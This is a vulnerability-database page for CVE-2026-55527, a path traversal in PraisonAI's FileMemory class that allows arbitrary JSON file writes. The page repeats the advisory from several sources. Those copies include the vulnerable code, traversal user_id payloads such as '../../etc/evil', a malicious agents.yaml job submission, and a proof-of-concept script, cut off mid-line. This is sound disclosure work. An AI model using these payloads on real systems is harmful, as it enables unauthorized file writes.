Every CVE Search/ Get API key

CVE-2026-55527

PraisonAI: Arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location

7.1 HighFix available

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the FileMemory constructor joins unsanitized user_id into self.user_path. A caller supplying ../ or path separators can escape the memory directory and write JSON data to arbitrary process-writable locations. The fix sanitizes user_id before constructing self.user_path. This issue is fixed in version 1.6.58.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
High
Availability
Low

Exploit likelihood

0.48%Up 0.2 points since Aug 26, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.1

PraisonAI: Arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the FileMemory constructor joins unsanitized user_id into self.user_path. A caller supplying ../ or path separators can escape the memory directory and write JSON data to arbitrary process-writable locations. The fix sanitizes user_id before constructing self.user_path. This issue is fixed in version 1.6.58.

Record
CVE-2026-55527
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Weakness
CWE-22, CWE-73
Updated
2026-11-02
EUVDEUVD-2026-65520 7.1

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the FileMemory constructor joins unsanitized user_id into self.user_path. A caller supplying ../ or path separators can escape the memory directory and write JSON data to arbitrary process-writable locations. The fix sanitizes user_id before constructing self.user_path. This issue is fixed in version 1.6.58.

Record
EUVD-2026-65520
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Updated
2026-11-02
GitHub AdvisoriesGHSA-gxmw-5f7x-6g22 7.1

praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location

Summary

praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all memory file paths by directly joining the user_id parameter to a base path:

self.user_path = self.base_path / user_id      # LINE 145 — no sanitization

No validation or normalization is applied to user_id before the path join. An attacker who can supply a user_id containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.

The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).

Details

Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:

def __init__(
    self,
    user_id: str = "default",
    base_path: Optional[str] = None,
    ...
):
    ...
    self.user_path = self.base_path / user_id          # LINE 145 — NO SANITIZATION
    self.episodic_path = self.user_path / "episodic"

    self.user_path.mkdir(parents=True, exist_ok=True)  # creates dirs at traversed path
    self.episodic_path.mkdir(parents=True, exist_ok=True)

    self.config_file      = self.user_path / "config.json"
    self.short_term_file  = self.user_path / "short_term.json"
    self.long_term_file   = self.user_path / "long_term.json"
    self.entities_file    = self.user_path / "entities.json"
    self.summaries_file   = self.user_path / "summaries.json"

All five JSON files are written under user_path, which is directly derived from the attacker-controlled user_id. The written content is valid JSON in the memory item format (configurable user content + metadata).

Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):

The sibling SQLiteBackend validates its table_name with a regex:

if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
    raise ValueError(...)

No equivalent validation exists in FileMemory.

Attack chains:

A — Direct Python API (any caller):

from praisonaiagents.memory.file_memory import FileMemory

mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json  (on Linux)
# Creates C:\evil\short_term.json    (on Windows)

B — Via Agent constructor (memory dict):

from praisonaiagents import Agent

agent = Agent(
    name="assistant",
    memory={"provider": "file", "user_id": "../../etc/evil"},
    instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init

C — Via agents.yaml / job submission (agent_yaml field):

# Submitted via POST /jobs with agent_yaml:
agents:
  researcher:
    memory:
      provider: file
      user_id: "../../tmp/evil"
    role: "Research assistant"
    goal: "Research topics"

agents_generator.py passes the memory.user_id value to the Agent constructor.

PoC

Environment: Python 3.9+, praisonaiagents <= 1.6.52

Step 1 — Verify path escapes base (no dependencies needed):

from pathlib import Path
import tempfile

base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id

try:
    user_path.resolve().relative_to(base.resolve())
    print("SAFE")
except ValueError:
    print("!!PATH ESCAPES BASE!!")
    print("Writes to:", user_path.resolve())

Output:

!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape

Step 2 — Live exploit (files written outside base):

import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory

BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)

TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()

mem =…
Record
GHSA-gxmw-5f7x-6g22
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Weakness
CWE-22, CWE-73
Updated
2026-11-02
NVD 7.1

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the FileMemory constructor joins unsanitized user_id into self.user_path. A caller supplying ../ or path separators can escape the memory directory and write JSON data to arbitrary process-writable locations. The fix sanitizes user_id before constructing self.user_path. This issue is fixed in version 1.6.58.

Record
CVE-2026-55527
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Weakness
CWE-22, CWE-73
Updated
2026-11-02
OSV 7.1

PraisonAI: Arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location

PraisonAI is a multi-agent teams system. Prior to praisonaiagents 1.6.58, the FileMemory constructor joins unsanitized user_id into self.user_path. A caller supplying ../ or path separators can escape the memory directory and write JSON data to arbitrary process-writable locations. The fix sanitizes user_id before constructing self.user_path. This issue is fixed in version 1.6.58.

Record
CVE-2026-55527
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Weakness
CWE-22, CWE-73
Updated
2026-11-02
OSVGHSA-gxmw-5f7x-6g22 7.1

praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location

Summary

praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all memory file paths by directly joining the user_id parameter to a base path:

self.user_path = self.base_path / user_id      # LINE 145 — no sanitization

No validation or normalization is applied to user_id before the path join. An attacker who can supply a user_id containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.

The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).

Details

Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:

def __init__(
    self,
    user_id: str = "default",
    base_path: Optional[str] = None,
    ...
):
    ...
    self.user_path = self.base_path / user_id          # LINE 145 — NO SANITIZATION
    self.episodic_path = self.user_path / "episodic"

    self.user_path.mkdir(parents=True, exist_ok=True)  # creates dirs at traversed path
    self.episodic_path.mkdir(parents=True, exist_ok=True)

    self.config_file      = self.user_path / "config.json"
    self.short_term_file  = self.user_path / "short_term.json"
    self.long_term_file   = self.user_path / "long_term.json"
    self.entities_file    = self.user_path / "entities.json"
    self.summaries_file   = self.user_path / "summaries.json"

All five JSON files are written under user_path, which is directly derived from the attacker-controlled user_id. The written content is valid JSON in the memory item format (configurable user content + metadata).

Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):

The sibling SQLiteBackend validates its table_name with a regex:

if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
    raise ValueError(...)

No equivalent validation exists in FileMemory.

Attack chains:

A — Direct Python API (any caller):

from praisonaiagents.memory.file_memory import FileMemory

mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json  (on Linux)
# Creates C:\evil\short_term.json    (on Windows)

B — Via Agent constructor (memory dict):

from praisonaiagents import Agent

agent = Agent(
    name="assistant",
    memory={"provider": "file", "user_id": "../../etc/evil"},
    instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init

C — Via agents.yaml / job submission (agent_yaml field):

# Submitted via POST /jobs with agent_yaml:
agents:
  researcher:
    memory:
      provider: file
      user_id: "../../tmp/evil"
    role: "Research assistant"
    goal: "Research topics"

agents_generator.py passes the memory.user_id value to the Agent constructor.

PoC

Environment: Python 3.9+, praisonaiagents <= 1.6.52

Step 1 — Verify path escapes base (no dependencies needed):

from pathlib import Path
import tempfile

base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id

try:
    user_path.resolve().relative_to(base.resolve())
    print("SAFE")
except ValueError:
    print("!!PATH ESCAPES BASE!!")
    print("Writes to:", user_path.resolve())

Output:

!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape

Step 2 — Live exploit (files written outside base):

import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory

BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)

TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()

mem =…
Record
GHSA-gxmw-5f7x-6g22
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Weakness
CWE-22, CWE-73
Updated
2026-11-02
OSVPYSEC-2026-3902 7.1

praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location

Summary

praisonaiagents/memory/file_memory.py::FileMemory.__init__() constructs all memory file paths by directly joining the user_id parameter to a base path:

self.user_path = self.base_path / user_id      # LINE 145 — no sanitization

No validation or normalization is applied to user_id before the path join. An attacker who can supply a user_id containing ../ sequences can write arbitrary JSON files (memory content) to any writable location on the filesystem.

The vulnerability is confirmed live on the current main branch (praisonaiagents==1.6.52) and is distinct from GHSA-766v-q9x3-g744 (which covered MultiAgentMonitor in an example file, not FileMemory in the core library).

Details

Vulnerable code — praisonaiagents/memory/file_memory.py lines 139-157:

def __init__(
    self,
    user_id: str = "default",
    base_path: Optional[str] = None,
    ...
):
    ...
    self.user_path = self.base_path / user_id          # LINE 145 — NO SANITIZATION
    self.episodic_path = self.user_path / "episodic"

    self.user_path.mkdir(parents=True, exist_ok=True)  # creates dirs at traversed path
    self.episodic_path.mkdir(parents=True, exist_ok=True)

    self.config_file      = self.user_path / "config.json"
    self.short_term_file  = self.user_path / "short_term.json"
    self.long_term_file   = self.user_path / "long_term.json"
    self.entities_file    = self.user_path / "entities.json"
    self.summaries_file   = self.user_path / "summaries.json"

All five JSON files are written under user_path, which is directly derived from the attacker-controlled user_id. The written content is valid JSON in the memory item format (configurable user content + metadata).

Comparison with the patched reference — praisonaiagents/storage/backends.py (SQLiteBackend):

The sibling SQLiteBackend validates its table_name with a regex:

if not re.match(r'^[a-zA-Z0-9_]+$', table_name):
    raise ValueError(...)

No equivalent validation exists in FileMemory.

Attack chains:

A — Direct Python API (any caller):

from praisonaiagents.memory.file_memory import FileMemory

mem = FileMemory(user_id="../../etc/evil")
mem.add_short_term("injected content")
# Creates /etc/evil/short_term.json  (on Linux)
# Creates C:\evil\short_term.json    (on Windows)

B — Via Agent constructor (memory dict):

from praisonaiagents import Agent

agent = Agent(
    name="assistant",
    memory={"provider": "file", "user_id": "../../etc/evil"},
    instructions="You are a helpful assistant.",
)
# FileMemory(user_id="../../etc/evil") called at agent init

C — Via agents.yaml / job submission (agent_yaml field):

# Submitted via POST /jobs with agent_yaml:
agents:
  researcher:
    memory:
      provider: file
      user_id: "../../tmp/evil"
    role: "Research assistant"
    goal: "Research topics"

agents_generator.py passes the memory.user_id value to the Agent constructor.

PoC

Environment: Python 3.9+, praisonaiagents <= 1.6.52

Step 1 — Verify path escapes base (no dependencies needed):

from pathlib import Path
import tempfile

base = Path(tempfile.gettempdir()) / "praisonai" / "memory"
user_id = "../../../tmp/evil_escape"
user_path = base / user_id

try:
    user_path.resolve().relative_to(base.resolve())
    print("SAFE")
except ValueError:
    print("!!PATH ESCAPES BASE!!")
    print("Writes to:", user_path.resolve())

Output:

!!PATH ESCAPES BASE!!
Writes to: <TMPDIR>/tmp/evil_escape

Step 2 — Live exploit (files written outside base):

import tempfile, json
from pathlib import Path
from praisonaiagents.memory.file_memory import FileMemory

BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory"
BASE.mkdir(parents=True, exist_ok=True)

TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve()

mem =…
Record
PYSEC-2026-3902
CVSS 3.1
7.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
praisonaiagents
PyPI
before 1.6.58
1.6.58
praisonaiagents
PyPI
before 1.6.58, plus listed versions
0.0.10.0.100.0.1000.0.1010.0.102
Show 45 moreShow less
0.0.1030.0.1040.0.1050.0.1060.0.1070.0.1080.0.1090.0.110.0.1100.0.1110.0.1120.0.1130.0.1140.0.1150.0.1160.0.1170.0.1180.0.1190.0.120.0.1200.0.1210.0.1220.0.1230.0.1240.0.1250.0.1260.0.1270.0.1280.0.1290.0.130.0.1300.0.1310.0.1320.0.1330.0.1340.0.1350.0.1360.0.1370.0.1380.0.1390.0.140.0.1400.0.1410.0.1420.0.143
1.6.58

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-55527 is a high vulnerability (CVSS 7.1) in Mervinpraison Praisonai, published August 25, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.48%, the 41st percentile. Fixed in praisonaiagents 1.6.58.

References

This page doesn't list everything

Left out here: 535 versions and the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open